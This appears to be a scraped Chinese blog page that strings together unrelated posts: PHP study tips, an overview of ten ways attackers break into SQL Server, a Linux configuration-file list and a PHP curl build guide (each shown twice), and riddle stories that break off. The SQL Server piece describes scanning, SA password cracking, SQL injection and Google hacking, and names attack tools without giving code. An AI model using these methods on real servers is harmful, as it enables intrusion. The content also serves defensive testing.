“一通百通”,这句话的道理也是不容置疑。都说有C语言基础的人,学习PHP比较容易,我没学过C语言,所以不知道这句话的效果

4、多看别人写的代码

学习别人的长处,补自己的不足,当然不完全为这个
我始终相信:一个有组织的团队写出来的程序不会比个人差
我PHP入门就是从看代码开始的,我喜欢看别人写的代码(入门是从disucz,PHPWind和国外的phpbb看起,还有就是目前最流行的开源BLOG程序),我尽可能的收集网络上的PHP开源程序,到目前为止,我收集并下载的PHP开源程序有2GB大小,包括BBS,BLOG,CMS等。我下载并不是为了收藏他们,是学习他们的编程方式和实现方法,如果自己想实现的功能不知道怎么去实现,我就会学习他们的实现方法,并不是抄袭代码,最终结果是想通过学习,将技术变成属于自己的
ASP我也是以同样的方式学习的(动易和讯的程序及其它ASP开源程序)

5、实践

理论固然重要,但实践必不可少。你理论知识再好,如果不实践,就不能看到理论所产生的结果或效果,并不能使你的记忆深刻,所以不能纸上谈兵

6、恒心

广告不是有句话是这样说的么:“世界上最高的山是自己”,这句话相信朋友们都能理解
过自己这关,其它的都好办
7、找对自己有用的学习方式

这条可以参照4,我的入门是从看代码开始
可能有朋友会问:“一开始看那些强大的代码,你能看懂么?”
我的学习方式是从“使用”找“学函数”:PHP的函数太多,短时间不可能记住所有的函数,因为我相信,一个大的项目肯定会使用常见和必须的函数,找到这些函数,才会有重点的学习这些函数,难道你能说写BBS的函数会比写BLOG用的函数少么?难道会写BBS还不会写BLOG么?
找对学习方式是要经过多种学习方式的尝试,所以这个只有自己把握,毕竟每个人的学习方式不一样
8、尽可能的找视屏教程看

别人说十句,还不如一个操作看的明白,这个相信朋友们都有体会吧

9、从项目开始

一定要”逼”自己从写项目开始。
任何一个高手的“成长”都是要经历一个过程,这个过程是一步步走过来的,来之不易
很多朋友学习PHP的第一个作品几乎都是“留言簿”,因为是最简单的程序了
会写留言簿,也并不能完全代表你已经入门了,也并不代表就会了PHP,我自己开始想以一个“网络书签”作为自己的第一个作品,但写了基本功能后就没继续了,感觉没多大意思。现在写一个完全正确针对企业的CMS系统,包括针对企业的一些常用功能,我想以这个作为自己PHP入门的第一个作品

10、了解并学习和PHP有关的技术

真正的高手必须得学习和PHP关联的技术,要想学好PHP,就必须得学习数据库,PHP+MYSQL被认为是“黄金搭档”,所以你必须得接触MYSQL或你认为比较好的数据库,开始设计比较”合理”的数据库,这里的合理就比较广泛了,包括数据库优化和查询优化等等

最后想说的是:“不要依靠别人”没人愿意理会一个新手的提问,因为新手提问的在他们眼里太简单,不想去解释女性朋友很流行一句话是“男人靠的住,母猪会上树” 引用这句话没别的意思,只是让朋友们知道这句话的意思

还想说的是:“珍惜别人回答的次数”人的忍耐都是有限度的,一定要珍惜这个限度,不要什么问题都去问,有些问题自己花点时间能找到答案的也去问,每问一次,别人的耐心就减去一次,等你真正需要帮助的时候,正好是别人不愿意回答你的时候,可以想像一下,你失去的太多了

建议的是:“有问题?baidu一下”相信朋友们都已经注意到了,你问的问题,在搜索引擎里都能找到相关的提问,并且有详细的解决方案,你可以使用搜索引擎来找到自己的答案,何必去问别人呢
目前最大的中文搜索引擎是 baidu.com ,全球的google,当然还有其它的搜索引擎,一个找不到,多试几个,除非你的问题是第一个提问的 ,那么你是幸运的,也可能是你“长相”问题,呵呵,说笑的,不要介意,不过这句话倒是挺流行

祝正准备入门的PHP的朋友能找到适合自己的学习方式,早日成功!!

黑客攻破SQL服务器的十种方法

无论是使用手工试探还是使用安全测试工具,恶意攻击者总是使用各种诡计从你的防火墙内部和外部攻破你的SQL服务器系统。既然黑客在做这样的事情。你也需要实施同样的攻击来检验你的系统的安全实力。这是理所当然的。

下面是黑客访问和攻破运行SQL服务器的系统的十种诡计。

1.通过互联网直接连接

这些连接可以用来攻击没有防火墙保护、全世界都可以看到和访问的SQL服务器。DShield公司的端口报告显示了有多少系统在那里等待遭受攻击。我不理解允许从互联网直接访问这种重要的服务器的理由是什么。但是,我在我的评估中仍发现了这种安全漏洞。我们都记得SQL Slammer蠕虫对那样多的有漏洞的SQL服务器系统造成的影响。而且,这些直接的攻击能够导致拒绝服务攻击、缓存溢出和其它攻击。

2.安全漏洞扫描

安全漏洞扫描通常可以基本的操作系统、网络应用程序或者数据库系统本身的弱点。从没有使用SQL安全补丁、互联网信息服务(IIS)设置弱点到SNMP(简单网络管理协议)漏洞等任何事情都能够被攻击者发现,并且导致数据库被攻破。这些坏蛋也需使用开源软件、自己制作的工具软件或者商业性工具软件。有些技术高手甚至能够在命令提示符下实施手工黑客攻击。为了节省时间,我建议使用商业性的安全漏洞评估工具,如Qualys公司的QualysGuard(用于普通扫描)、SPI Dynamics公司的WebInspect(用于网络应用程序扫描)和下一代安全软件公司的“NGSSquirrel for SQL Server”(用于数据库扫描)。这些工具软件很容易使用,提供了最广泛的评估,并且可以提供最佳的结果。图1显示了你可能发现的一些SQL注入安全漏洞。

图1:使用WebInspect发现的普通SQL注入安全漏洞。

3.列举SQL服务器解析服务

在UDP端口1434上运行,这能让你发现隐蔽的数据库实例和更深入地探查这个系统。Chip Andrews的“SQLPing v 2.5”是一个极好的工具,可用来查看SQL服务器系统并且确定版本编号。你的数据库实例即使不监听这个默认的端口,这个工具软件也能发挥作用。此外,当过分长的SQL服务器请求发送到UDP端口1434的广播地址的时候,会出现缓存溢出问题。

4.破解SA口令

攻击者还可以通过破解SA口令的方法进入SQL服务器数据库。遗憾的是,在许多情况下不需要破解口令,因为没有分配口令。因此,可以使用上面提到的一种小工具SQLPing。Application安全公司的AppDetective和NGS软件公司的NGSSQLCrack等商业性工具软件也有这种功能。

5.直接利用安全漏洞攻击

使用图1显示的Metasploit等工具软件可以直接实施攻击。这种软件的商业性软件“CANVAS”和“CORE IMPACT”等能够利用在正常的安全漏洞扫描过程中发现的安全漏洞实施攻击。这是非常有效的攻击手段,攻击者可利用这种手段突破系统、从事代码注入或者取得非经授权的命令行访问权限。

6.SQL注入

SQL注入攻击可以通过没有正确验证用户输入的前端网络应用程序实施。包括SQL指令在内的异常的SQL查询可以直接注入到网络URL(统一资源定位符)中,并且返回一些错误通知,执行一些指令等等。如果你有时间的话,这些攻击可以手工实施。我一旦发现一个服务器有一个潜在的SQL注入安全漏洞,我喜欢使用一种自动的工具深入研究这个漏洞。这些工具包括图3显示的SPI Dynamics公司的SQL注入器等。

图3:SPI Dynamics公司的SQL注入器自动实施SQL注入过程。 strong>7.SQL盲注攻击

这些攻击以标准的SQL注入攻击相同的基本方式利用网络应用程序和后端SQL服务器的安全漏洞。最大的区别是攻击者收不到以错误通知形式从网络服务器发回的信息。这种攻击由于涉及到猜口令,速度要比标准的SQL注入攻击慢一些。在这种情况下,你需要一种比较好的工具。那就是图4显示的Absinthe工具。

图4:Absinthe工具在实施SQL盲注攻击测试。

8.对系统实施逆向工程

逆向工程的方法可以查找软件的安全漏洞和内存损坏弱点等漏洞。在利用软件安全漏洞方面,可以参考Greg Hoglund和Gary McGraw合着的“如何破解代码”一书,你可以发现有关逆向工程方法的一些讨论。

9.Google hacks

Google hacks利用Google搜索引擎不同寻常的力量搜出可公开访问的系统泄漏出来的SQL服务器的错误,如“Incorrect syntax near”(附近语法错误)。Johnny Long编写的“Google Hacking Database”数据库中一些Google的查询项目。(查看错误信息和包含口令的文件部分)。黑客能够使用Google找到口令、网络服务器中的安全漏洞、基本的操作系统、公开提供的程序以及其它能够用来攻破SQL服务器系统的东西。通过Google网站的“site:”操作符把这些查询结合在一起同场可以发现你想不到能够找到的东西。

10.熟读网站源代码

源代码还能够暴露可能导致SQL服务器被攻破的信息。特别是开发人员为了简化身份识别过程把SQL服务器身份识别信息存储在ASP脚本中的情况下更是如此。手工评估或者Google能够在一瞬间就发现这个信息。

常用linux配置文件位置

蛮久没有动linux了,突然来配置一下发现自己有的配置文件都快忘了,一些不常用的命令我也不记得参数了,google了一下午才巩固了下这方面的东西,看来学习这东西是一刻也不能忘呀。我就上网特意找了下linux下常用的配置文件,免得我以后用的时候还得到处找。。。。。。

1:/etc/sysconfig/i18n(语言配置文件).
2:/etc/sysconfig/network-scripts/ifcfg-eth0(eth0配置文件).
3:/boot/grub/grub.conf(grup配置文件)
或/boot/grub/menu.list.
4:/etc/passwd:系统用户数据库文件.
5:/etc/group:组的数据库文件.
6:/etc/gshadow(存放密码).
7:/etc/shadow(存放密码).
8:/etc/profile(系统环境).
9:/etc/bashrc(系统变量).
10:/etc/shells(存放shell).
11:/etc/sudoers(sudo配置文件).
12:/etc/inittab(设置启动级别).
13:/etc/rc.d/rc.local:(系统启动是执行的文件类似于windows的autoexec.bat).
14:$HOME/Xclients(控制启动x客户端).
15:/etc/X11/Xinit/xinitrc.d/xinput(启动x-windows的加载程序配置文件).
16:/etc/fstab(文件系统格式表).
17:/var/log/(存放日志目录).
18:/var/spool/at/(存放at时间任务的目录).
19:/etc/at.deny(禁止时间任务,针对用户).
20:/etc/at.allow( 允许时间任务,针对用户).
21:/etc/crontab(crontab配置文件).
22:/etc/anacrontab(anacrontab配置文件).
23:/etc/moudle.conf(网卡,声卡,usb的模块).
24:/etc/protocols(协议).
25:/etc/services(短口).
26:/etc/dhcpd.conf(DHCP配置文件,默任不存在).
27:/var/lib/dhcp/dhcpd.leases(查看哪个用户,使用你的dhcp服务器).
29:/etc/hosts
/etc/sysconfig/network(修改主机名).
30:/etc/named.conf(DNS主配置文件).
31:/etc/host.conf(解晰主机时用host表还是dns).
32:/etc/resolv.conf(指定dns服务器ip).
33:/etc/httpd/conf/httpd.conf(apache配置文件)
34:/etc/mail/(sendmail目录).
35:/etc/aliases(别名配置文件).
36:/etc/samba/smb.conf(smb配置文件).
37:/etc/proftpd.conf(ftp配置文件).
38:/etc/squid/squid.conf(squid配置文件).
39:/etc/pam.d/su(限制用户使用su).
40:/etc/secruetty(限制根用户直接登陆终端).
41:/etc/secrrity/access.conf(限制某用户登陆).
42:/etc/nologin(限制所有用户登陆).
43:/etc/sudoers(强制用户每次使用sudo输入密码).
44:/etc/security/time.conf(限制用户登陆系统时间).
45:/etc/hosts.allow
46:/etc/hosts.deny
47:/etc/issue(登陆提示)
48:/etc/issue.net(远程登陆提示).
49:/etc/motd(输入用户名和密码后看到的内容).
50:/etc/login.defs(生成新用户,基本参数).
51:/etc/logrotate.conf(日志文件各级的选项).
52:/proc/sys/net/ipv4/ip_forward(即使路由功能打开).
53:/etc/sysctl.conf(永久打开路由功能).
54:/proc/sys/net/ipv4/icmp_echo_igore_all(是否允许ping).
55:/proc/sys/net/ipv4/icmp_echo_ignore_broadcasts(广播ping).

1:/etc/sysconfig/i18n(语言配置文件). 2:/etc/sysconfig/network-scripts/ifcfg-eth0(eth0配置文件). 3:/boot/grub/grub.conf(grup配置文件) 或/boot/grub/menu.list. 4:/etc/passwd:系统用户数据库文件. 5:/etc/group:组的数据库文件. 6:/etc/gshadow(存放密码). 7:/etc/shadow(存放密码). 8:/etc/profile(系统环境). 9:/etc/bashrc(系统变量). 10:/etc/shells(存放shell). 11:/etc/sudoers(sudo配置文件). 12:/etc/inittab(设置启动级别). 13:/etc/rc.d/rc.local:(系统启动是执行的文件类似于windows的autoexec.bat). 14:$HOME/Xclients(控制启动x客户端). 15:/etc/X11/Xinit/xinitrc.d/xinput(启动x-windows的加载程序配置文件). 16:/etc/fstab(文件系统格式表). 17:/var/log/(存放日志目录). 18:/var/spool/at/(存放at时间任务的目录). 19:/etc/at.deny(禁止时间任务,针对用户). 20:/etc/at.allow( 允许时间任务,针对用户). 21:/etc/crontab(crontab配置文件). 22:/etc/anacrontab(anacrontab配置文件). 23:/etc/moudle.conf(网卡,声卡,usb的模块). 24:/etc/protocols(协议). 25:/etc/services(短口). 26:/etc/dhcpd.conf(DHCP配置文件,默任不存在). 27:/var/lib/dhcp/dhcpd.leases(查看哪个用户,使用你的dhcp服务器). 29:/etc/hosts /etc/sysconfig/network(修改主机名). 30:/etc/named.conf(DNS主配置文件). 31:/etc/host.conf(解晰主机时用host表还是dns). 32:/etc/resolv.conf(指定dns服务器ip). 33:/etc/httpd/conf/httpd.conf(apache配置文件) 34:/etc/mail/(sendmail目录). 35:/etc/aliases(别名配置文件). 36:/etc/samba/smb.conf(smb配置文件). 37:/etc/proftpd.conf(ftp配置文件). 38:/etc/squid/squid.conf(squid配置文件). 39:/etc/pam.d/su(限制用户使用su). 40:/etc/secruetty(限制根用户直接登陆终端). 41:/etc/secrrity/access.conf(限制某用户登陆). 42:/etc/nologin(限制所有用户登陆). 43:/etc/sudoers(强制用户每次使用sudo输入密码). 44:/etc/security/time.conf(限制用户登陆系统时间). 45:/etc/hosts.allow 46:/etc/hosts.deny 47:/etc/issue(登陆提示) 48:/etc/issue.net(远程登陆提示). 49:/etc/motd(输入用户名和密码后看到的内容). 50:/etc/login.defs(生成新用户,基本参数). 51:/etc/logrotate.conf(日志文件各级的选项). 52:/proc/sys/net/ipv4/ip_forward(即使路由功能打开). 53:/etc/sysctl.conf(永久打开路由功能). 54:/proc/sys/net/ipv4/icmp_echo_igore_all(是否允许ping). 55:/proc/sys/net/ipv4/icmp_echo_ignore_broadcasts(广播ping).

linux下为php添加扩展库

以php curl 扩展库编译为例。
本次编译只是单独编译php的扩展库,然后将编译好的php扩展库加到现在运行的php中,不对现在运行的php重新编译,所以对现在运行的php没有任何影响。
假如原先编译的php目录在/usr/local/php4目录下;apache在/usr/local/apache2目录下;php源代码在/home/php-4.4.7目录下。如果实际目录与假定的目录不一致,则在下面的命令中做调整。
1. 找到当前运行的php版本的源代码目录,如 php-4.4.7。进入curl扩展库目录。
$cd /home/php-4.4.7/ext/curl
2. 调用phpize程序生成编译配置文件。
$/usr/local/php4/bin/phpize
3. 编译扩展库,分别执行下面的configure和make命令。
$./configure –with-php-config=/usr/local/php4/bin/php-config
##configure这一步执行通过后,再执行make命令,如果configure执行不通过,则查找错误原因。
$make
##make成功执行后,生成的扩展库文件在当前目录的 modules 子目录下,
如 /home/php-4.4.7/ext/curl/modules/curl.so
4. 配置php.ini文件
##将编译好的扩展库文件复制到apache2 modules目录下。
$cp /home/php-4.4.7/ext/curl/modules/curl.so /usr/local/apache2/modules/.
##可以通过查看phpinfo信息来确定php.ini文件位置,然后编辑。
##在php.ini文件中找到设置扩展目录的位置,然后将扩展路径设置到apache2 modules目录下。
extension_dir = “/usr/local/apache2/modules/”
##在php.ini的添加扩展库位置,设置要添加的扩展库。
extension=curl.so
##以后如果还要添加别的扩展库的话,则只需先将php扩展库编译好,然后copy到apache2 modules目录下,
##然后再在这个位置,添加一行将编译后的扩展库文件名加上即可。
5. 重启apache,查看phpinfo信息,即可看到刚才添加进去的curl扩展库。

linux下为php添加扩展库

以php curl 扩展库编译为例。
本次编译只是单独编译php的扩展库,然后将编译好的php扩展库加到现在运行的php中,不对现在运行的php重新编译,所以对现在运行的php没有任何影响。
假如原先编译的php目录在/usr/local/php4目录下;apache在/usr/local/apache2目录下;php源代码在/home/php-4.4.7目录下。如果实际目录与假定的目录不一致,则在下面的命令中做调整。
1. 找到当前运行的php版本的源代码目录,如 php-4.4.7。进入curl扩展库目录。$cd /home/php-4.4.7/ext/curl
2. 调用phpize程序生成编译配置文件。$/usr/local/php4/bin/phpize
3. 编译扩展库,分别执行下面的configure和make命令。$./configure –with-php-config=/usr/local/php4/bin/php-config ##configure这一步执行通过后,再执行make命令,如果configure执行不通过,则查找错误原因。$make ##make成功执行后,生成的扩展库文件在当前目录的 modules 子目录下,    如 /home/php-4.4.7/ext/curl/modules/curl.so
4. 配置php.ini文件##将编译好的扩展库文件复制到apache2 modules目录下。$cp /home/php-4.4.7/ext/curl/modules/curl.so /usr/local/apache2/modules/. ##可以通过查看phpinfo信息来确定php.ini文件位置,然后编辑。##在php.ini文件中找到设置扩展目录的位置,然后将扩展路径设置到apache2 modules目录下。   extension_dir = “/usr/local/apache2/modules/”##在php.ini的添加扩展库位置,设置要添加的扩展库。   extension=curl.so##以后如果还要添加别的扩展库的话,则只需先将php扩展库编译好,然后copy到apache2 modules目录下,##然后再在这个位置,添加一行将编译后的扩展库文件名加上即可。
5. 重启apache,查看phpinfo信息,即可看到刚才添加进去的curl扩展库。

智力小故事

1、华佗治病
东汉末年,有个太守得了不能进食的重病,就请华佗来治病。华佗给太守切脉之后,既没有开药方,又没有用针灸,就不声不响地走了。太守以为招待不周,赶忙送去财礼,请吃酒席。华佗见礼就收,见酒就吃,但就是不开药方。一晃10 多天过去了,太守让儿子去问华佗。而华佗却带着钱财走了,留下了一封信。信中骂道:”无耻太守,枉活人间!”可是当太守看了这封信以后,他的病却好了。
试问,这是什么道理呢?
2、真正的男人
英国陆军元帅蒙哥马利是个很高傲的人。1961 年访华期间,他观看戏剧《穆桂英挂帅》,大不以为然,说:”爱看女人当元帅的男人不是真正的男人,爱看女人当元帅的女人,不是真正的女人,怎么可以让女人当元帅呢?”中国陪同人员很机敏,立即说了一句话,就把蒙哥马利说得哑口无言。
试问,他说了一句什么话呢?
3、树在口中
有一天,11岁的徐稚去拜见郭林宗,正巧遇见他在院子里指挥工匠砍树。那是一棵青枝招展的松树,给小院增添了许多生气。这样一棵惹人喜爱的树,为啥要砍倒呢?徐稚便问郭林宗:”这棵树冬天能挡风,夏天能遮荫,砍倒多可惜啊!”郭林宗说:”你不知道,最近我看了一本书,那书上讲:房子院套四方方,像个口字,院子当中有棵树,木在口中不吉祥。你想想看,木在口里,不就成了’困’字了吗?我以后不就困难了吗?”听了这没边没沿的话,徐稚感到很好笑。于是,他灵机一动,想出一个反驳的办法来。
试问,他是怎样反驳的呢?
4、浴盆中会面
第二次世界大战期间,英国首相邱吉尔到华盛顿会见美国总统罗斯福,要求美国共同抗击德国法西斯,并给予物质援助。邱吉尔受到热情接待,被安排住进白宫。一天早晨,邱吉尔正躺在浴盆里抽着他那种特大号雪茄,突然,美国总统罗斯福推门进来。邱吉尔大腹便便,肚子露出水面,这两个大国的领导人在此刻会面,确实非常尴尬。而邱吉尔扔掉烟头,利用这特殊的场合以幽默的口吻说了一句话,就解除了尴尬的局面。
试问,邱吉尔是怎样说的呢?
5、一句妙语
50 年代,周恩来总理兼任外交部长。一次在北京举行记者招待会,他介绍了几年来经济建设的成就以及我国的对外方针之后,谦和地请记者们提问题。一位西方记者急不可待地站了起来,结结巴巴地说:”请问总理先生,中国可有妓女?”对于这一不怀好意的问话,总理坦然自若,他不假思索地说:”有。”这一回答,引起了全场的骚动。正在大家议论纷纷之际,总理紧接着补了一句,这句话一补,全场响起了一片掌声,大家无不为总理的妙语所折服。
试问,周总理补了一句什么话呢?
6、中国血统
加拿大前任外交官切斯特”朗宁,1893 年生于湖北的襄樊,是喝中国奶妈的乳汁长大的。他回国后,在30 岁竞选省议员时,反对派曾诋毁他,说:”你是喝中国人的奶长大的,你身上一定有中国血统。”但当朗宁反驳以后,反对派却无地自容。
试问,他是怎样反驳的呢?
7、”傻瓜”
有一次,林肯总统正在演讲,突然一个青年递给他一张纸条。林肯打开一看,上面只有两个字:”傻瓜”。林肯脸上掠过一丝阴云,随即镇定地说了一番话,就有力地反驳了这一污蔑。
试问,林肯是怎么说的呢?
8、郑板桥改诗
郑板桥年轻的时候,有一次跟老师到野外去玩。他们在小桥边,发现一具少女尸体。老师马上写诗一首:二八女多娇,风吹落小桥。三魂随浪转,七魄泛波涛。郑板桥听了,说:”你怎么知道这少女是16 岁?肯定是风吹下小桥的呢?你看见了她的三魂七魄随波打转吗?”老师被问得哑口无言,便反问道:”依你看这诗该怎么作?”郑板桥不假思索便把诗改了一下,老师听了,甚为折服。
试问,郑板桥把诗改成什么样的呢?
9、鲁班修庙
我国古代的建筑工匠鲁班十几岁就投师学艺,跟着师傅到南山密林中去修香岩寺。一天,鲁班陪师傅在山上游看,走到古柏和怪石跟前,师傅说:”古树怪石,真真少见!”鲁班说:”若在石上再建座庙,就更好了。”师傅看了看鲁班说:”好!你就在这儿修建成一百一十一座庙吧!”师傅这么一说,鲁班愣住了,心想:这儿虽有一块巨大的怪石,但哪里能容得下这么多庙啊?一连两天,鲁班都想不出如何修,愁得他茶饭不香。这天早饭后,鲁班又坐在古柏下,看着那巨大的怪石发愁。忽然他眼睛一亮,高兴地自语道:”师傅说的一百一十一座庙能修啦!”鲁班把自己的想法告诉师傅后,师傅夸他聪明,肯动脑筋。
试问,鲁班是怎样想的呢?
10、站着写作
美国作家海明威,他的作品一向以简洁的风格著称。他的《老人与海》等作品极受读者的欢迎。他平时有一种古怪脾气,喜欢站着写文章。一天,他的一个朋友拿着一份稿子来请教他。看他又是站着在写文章,禁不住问道:”我每次来时都看到你站着写文章,我真不明白是什么原因。站着不是太辛苦了吗?”
试问,海明威为什么要站着写作呢?
11、找答案
甲:克劳斯亲王是丹麦女王的丈夫。菲利浦亲王是英女王的丈夫。乙:克劳斯亲王是荷兰女王的丈夫,菲利浦亲王是丹麦女王的丈夫。丙:亨利亲王是丹麦女王的丈夫。克劳斯亲王是英女王的丈。他们三人都说对了一半,说错了一半。
你能找出正确答案吗?
12、蒲松龄批文章
蒲松龄曾当过胡守备的塾师,教他的一个冥顽不化的儿子。胡守备一介武夫,文才很浅,但望子成龙心切,看到蒲松龄批改作业时,好批语不多,就大发其火,埋怨老师教学无方。蒲见胡如此态度,又不能说昧心话,只得借用诗句,隐藏批评。下面是他在胡守备儿子文章上的几次批文:
第一篇因文章错别字太多,蒲松龄皱皱眉头挥笔批了句:”唯解漫天作雪飞。”
第二篇字迹不清,蒲松龄实在看不下去,就批了句:”草色遥看近却无。”
第三篇文章洋洋洒洒一大篇,什么事也没说清,他批了杜甫的两句诗:”两个黄鹂鸣翠柳,一行白鹭上青天。”
胡守备看到批文,不解其意,便问道:”老先生,犬子的文章可有进步?”蒲答道:”高山擂鼓,闻声百里。”胡还难以领悟,又问道:”我儿四书五经想必已贯通了吧?”蒲应声答道:”人有七窍,令郎已通六窍。”胡守备听得十分满意,蒲趁机辞馆而去。胡见到客人就出示蒲的批文夸耀儿子,客人听了个个掩口而笑。
你知道蒲松龄的批文是什么意思吗?
13、进城
上个星期的一天,我进了趟城。理了个发;买了一张那天发行的当地的周报;在农贸市场买了一些葡萄;在药店里买了一些药;还在银行里兑了一张50元的支票。理发店每星期一休息;银行每星期六和星期日休息;农贸市场只在星期一、三、六开张;药店每星期日休息。
你知道我是在上星期的星期几进城的吗?
14、谁的羊多
6个牧羊老人一同去放羊。老王和老钱的羊数一样,老单的羊比老李的多,可比老王的少。老毕的羊虽然没有老王、老单的多,可又比老李的多。老钱的羊比老孙的又要少一些。
请你说说到底谁的羊最多?
15、怎样安排
在一次国际青年学生联欢晚会上,来自4个国家的5位代表被安排坐在一张圆桌周围。为了使各位代表坐下后彼此间都能交谈,工作人员在安排座位前就预先了解了各位代表掌握的语言情况:甲是中国人,还会说英语;乙是法国人,还会说日语;丙是英国人,还会说法语;丁是日本人,还会说汉语;戊是法国人,还会说德语。工作人员根据这些情况,很快就把各人的座位安排好了。
试问,如请你来安排,你会怎样安排呢?
16、称西瓜
一天,农场采摘了一卡车西瓜,派人带上一台小台秤,到科学研究中心的建筑工地上出售。经过一路颠簸,卡车到达工地时,发现随车带的小台秤上除了底砣和一个1000克的秤砣还在外,其他的秤砣都丢失了。这样一来。这台秤最多只能称2000克,而送来的西瓜全是大西瓜,大的约8000克左右,小的也有3000多克。怎么办呢?叫人去借秤,可借不到。建筑工人们三三两两地来买西瓜解渴了。一听说无法过秤,都大为扫兴。有一个青年工人想了一阵,说:”把西瓜切开来称吧。”大家觉得这是个好主意。正准备切西瓜时,走来一位戴着眼镜,学者气十足的老人。他拦住大家说道:”这么多西瓜都切开称,吃不完不坏了吗?我倒有个主意,咱们不妨试试!”说着,他从裤袋里掏出自己的手帕,并接过其他人递过来的几张手帕,只花了几分钟的时间,小台秤就能称量了。当工人们美美地吃着西瓜时,聪明的老人已不知去向。一打听,才知道他就是中国大名鼎鼎的数学家–华罗庚。
请问,华罗庚用的是什么办法呢?
17、警报
《小兵张嘎》是一部深受少年儿童喜爱的故事片,它是根据抗战时期一位名叫张嘎的少年成长为抗日英雄的事迹改编的。张嘎有这样一个故事:
张嘎刚参加游击队时,没有得到武器,只有胖墩送给他的一串鞭炮。一天深夜,游击队转移到了一个小村子,帮助乡亲们埋藏粮食和财物。因为时间紧,人手少,队长就派张嘎替代哨兵,到村外1000米外的小桥边放哨,防备日本鬼子夜袭。队长告诉张嘎:”如果发现鬼子,马上点燃鞭炮报警。”张嘎来到小桥边,把鞭炮挂在树枝上,然后隐蔽在河边的芦苇丛中。由于连日行军,身困体乏,张嘎开始打起瞌睡来了。迷迷糊糊中,他突然感到小河对岸传来杂乱的脚步声。他睁开粘涩的眼皮一看,糟了,鬼子果然来偷袭了。于是,他赶忙掏出火柴,扳住树枝,就要点火。哪知慌乱中,树枝在手中一弹,把挂在上面的鞭炮弹到了河中。这下全完了,敌人眼看就要过来,可警报却没办法发出去,即使大声喊叫,远在1000米外的村里也不可能听见,怎么办?在这万分危急的时刻,小张嘎情急生智,想出了一个危险但却十分有效的报警方法,使游击队和乡亲们得到了安全。
请问,你知道张嘎的报警方法是什么吗?
18、智取铜环
列宁小时候,住在俄国辛比尔斯克(现乌里扬诺夫斯克)省。那时,他特别喜欢看马戏和魔术。到了冬天,大雪覆盖了大地,天气出奇的寒冷,列宁只能和兄弟姐妹们呆在家里。正当他们感到无聊的时候,家里来了一个会玩魔术的客人。孩子们非常高兴,终日缠着要客人表演。客人表演了一个又一个,孩子们仍不满足。客人有些烦了,可又不好正面拒绝。于是想了个点子,对孩子们说:”我这儿有根绳子,上面串着5个金属环。左边两个是铁环,右边两个也是铁环,只有中间的一个是铜环。”接着他让列宁和他哥哥一人抓住绳子的一头,又说道:”请你们想个办法,在不弄断绳子和金属坏、也不把左右两端的铁环取下的前提下,把铜环从绳子上解下来。等你们完成后,我再给大家表演魔术!”说完,他就转过头去同列宁的父亲闲谈,满以为这一下可以摆脱孩子们的纠缠了。但是,出乎这个客人的意料,他同列宁父亲的谈话还不到5分钟,就被列宁的欢呼声打断了!”我能够把它解下来了!”当着客人的面,列宁不慌不忙,很快就熟练地解下了铜环。没办法,客人只好继续给孩子们表演魔术。
试问,列宁是怎样按要求把铜环解下来的?
19、开枪难题
一天,华生医生和福尔摩斯在居室闲坐喝茶。华生自信自己也有较强的观察分析能力,决定出一个难题试试福尔摩斯,于是笑着说道:”福尔摩斯先生,我这儿有一个难题想请教一下您,行吗?”福尔摩斯转过头说:”行啊!你说说看。”华生喝了一口茶,开始出题:”在坎布连山区,有两座有名的高山,中间相隔大约500多米。一天,两个残疾人在一个正常人的带领下前来登山。两个残疾人中一个是瞎子,一个是聋子。3人在傍晚时分攀登到了一座山的顶峰。随后,面向对面的山峰停下来休息。那个正常人因为太疲倦,一坐下来就睡着了,而那两个残疾人还精神蛮好地坐着。夜已经很静了,突然对面山上有人向这边放了一枪,瞎子马上听见了”砰”的枪声;聋子也立刻看到了枪口上的火光,而睡着的人也在当时发觉了放枪,因为子弹刚好擦着他的耳根飞过。当后来警察来调查时,3人都夸耀自己感觉最敏锐,都说是自己最先发觉有人开枪。福尔摩斯先生,您能告诉我他们三人中谁是最先发觉有人开枪的吗?
20、把线变短
一天,国王阿克巴在纸上用笔划了一条线,然后对比尔巴说:”不许把这条线截断,但是你要把这条线变短,请吧!”这可是个难题,却难不倒聪明机智的比尔巴,他毫不费力地就解决了这个难题。
试问,他是怎样解决的呢?
21、教训
华裔电脑名人王安博士,在美国企业界是一位传奇人物。他一个人以600美元开始创业,到今天年营业额高达数十亿美元。而影响他一生的最大”教训”,发生在6岁之时。有一天王安外出玩耍,路经一棵大树,突然有东西掉在头上。他伸手一抓,原来是个鸟巢。他怕鸟粪弄脏了衣服,于是赶紧用手拨开。鸟巢掉落到了地上,从里面滚出一个嗷嗷待哺的小麻雀。他很喜欢,决定把它带回饲养,于是就连同鸟巢一起带回家。王安回到家门口,突然想到妈妈不允许在家养小动物,所以他轻轻地把小麻雀放在门口,急忙走入屋内,请求妈妈允许。在他苦苦哀求下,妈妈破例答应了儿子的要求。王安兴奋地跑出门外,不料小麻雀不见了,只见一只黑猫意犹未尽地擦拭着嘴巴,原来就在他向妈妈请求的时候,小麻雀已被黑猫吃掉了。他为此伤心了好久。从这件事,王安得到了一个很大的教训。
试问,你能说出王安的教训是什么吗?
22、考厂长
新星机床厂厂长张乐,被调到市委组织部当部长。临走前,上级委托他在厂里选拔一名厂长。经过层层推荐,信任投票,民意测验,有3位同志并列榜首。三个人条件相当,怎么办?老厂长想来想去,决定现场考厂长。下午4点钟,俱乐部里挤满了人。老厂长站在台中央,身后放了一块大黑板,黑板上写着甲、乙、丙3个人的名字,他们3位就坐在台上。”考厂长开始!”老厂长宣布,”今天由我出3道题,请你们回答,谁答对了谁当厂长。”
“第一道题,”老厂长说,”咱们厂在企业整顿时,制定了厂规厂法,其中有一条规定,工作时间不准吃东西。今天上午10点钟,我到各车间巡视,一进装配车间大门,就发现老钳工王师傅往嘴里填饼干,他见了我,急忙捂着嘴,不好意思地低下了头。请问3位,假如你是厂长,对这件事怎样处理?”
甲思索片刻,站起来回答:”厂规厂法由大家制定,就得由大家执行,不管是谁,违反制度,都要按章办事。假如我是厂长,就要按规定扣罚他当月奖金。”老厂长听完他的话,就在他的名字下面划了一个”0″。
接着乙回答:”罚款不是目的,不能只罚款不教育。假如我是厂长,除了按规定扣罚王师傅的当月奖金以外,还要找他谈话,进行思想教育。”老厂长在乙名字下面也画了个”0″。
轮到丙了,他站起来说:”假如我是厂长,不扣罚他的奖金,我要拍着他的肩膀说:’王师傅,你继续吃下去。’”老厂长在丙的名字下面画了个”×”。
“第二道题,”老厂长说,”当你们上任不久,工厂正面临着转产。这时,总工程师写了一份长达万言的转产报告。注意,当总工程师递上他的书面报告时,请问,你当时应该怎么做?”
